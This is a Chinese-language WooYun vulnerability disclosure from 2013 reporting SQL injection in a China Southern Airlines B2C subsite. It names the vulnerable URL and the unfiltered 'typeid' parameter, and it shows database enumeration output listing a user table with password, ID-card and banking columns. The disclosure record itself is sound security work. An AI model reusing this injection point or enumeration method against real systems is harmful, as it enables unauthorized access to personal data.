当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-026216

漏洞标题：中国南方航空某分站存在SQL注入可获取用户信息

相关厂商：中国南方航空

漏洞作者： z@cx

提交时间：2013-06-18 13:33

修复时间：2013-08-02 13:33

公开时间：2013-08-02 13:33

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-18： 细节已通知厂商并且等待厂商处理中
2013-06-22： 厂商已经确认，细节仅向厂商公开
2013-07-02： 细节向核心白帽子及相关领域专家公开
2013-07-12： 细节向普通白帽子公开
2013-07-22： 细节向实习白帽子公开
2013-08-02： 细节向公众公开

简要描述：

中国南方航空某分站存在SQL注入可获取用户信息

详细说明：

http://b2c.csair.com/B2C40/data/order/importPNR/getPnrRules.xsql?typeid=1


参数:typeid没有过滤

漏洞证明：

available databases [6]:
[*] ECS
[*] ECS_REPORT
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] XDB


back-end DBMS: Oracle
Database: ECS
Table: USERDATA
[59 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| LANGUAGE       | VARCHAR2 |
| ABOUTME        | VARCHAR2 |
| ALIAS          | VARCHAR2 |
| ANSWER         | VARCHAR2 |
| ATTRIBUTE1     | VARCHAR2 |
| ATTRIBUTE2     | VARCHAR2 |
| ATTRIBUTE3     | VARCHAR2 |
| ATTRIBUTE4     | VARCHAR2 |
| ATTRIBUTE5     | VARCHAR2 |
| ATTRIBUTE6     | NUMBER   |
| ATTRIBUTE7     | NUMBER   |
| ATTRIBUTE8     | NUMBER   |
| BIRTHDATE      | DATE     |
| CELLPHONE      | VARCHAR2 |
| CHECKINAIRPORT | VARCHAR2 |
| CITY           | VARCHAR2 |
| CORP           | VARCHAR2 |
| COUNTRY        | VARCHAR2 |
| CREATEDATE     | DATE     |
| DEPARTMENTNAME | VARCHAR2 |
| ENDDATE        | DATE     |
| ENNAME         | VARCHAR2 |
| FAX            | VARCHAR2 |
| FLAG           | CHAR     |
| FPCARDNO       | VARCHAR2 |
| HOME           | VARCHAR2 |
| HOMEPHONE      | VARCHAR2 |
| IDCARD         | VARCHAR2 |
| INSERTDATE     | DATE     |
| ISEXTERNAL     | NUMBER   |
| LARGECLIENTNO  | VARCHAR2 |
| LASTLOGIN      | DATE     |
| LASTORDER      | DATE     |
| LASTUPDATE     | DATE     |
| LOCATION       | VARCHAR2 |
| MANAGERGUID    | VARCHAR2 |
| MEMBERID       | VARCHAR2 |
| NAME           | VARCHAR2 |
| OFFICE         | VARCHAR2 |
| OPENACCOUNT    | VARCHAR2 |
| OPENBANK       | VARCHAR2 |
| ORGUNITGUID    | VARCHAR2 |
| ORIGINAL       | CHAR     |
| ORIGINALID     | VARCHAR2 |
| PASSWORD       | VARCHAR2 |
| PASSWORDHINT   | VARCHAR2 |
| PICTUREURL     | VARCHAR2 |
| PRIORITYORDER  | NUMBER   |
| REGION         | VARCHAR2 |
| RTCNUMBER      | VARCHAR2 |
| SEX            | CHAR     |
| SIGNATUREURL   | VARCHAR2 |
| STATUS         | CHAR     |
| SUBSCIBEFLAG   | CHAR     |
| TITLE          | VARCHAR2 |
| USERGUID       | VARCHAR2 |
| WEBSITEURL     | VARCHAR2 |
| WORKMAIL       | VARCHAR2 |
| WORKPHONE      | VARCHAR2 |
+----------------+----------+

修复方案：

对所传的值进行过滤。。

版权声明：转载请注明来源 z@cx@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2013-06-22 21:37

厂商回复：

最新状态：

暂无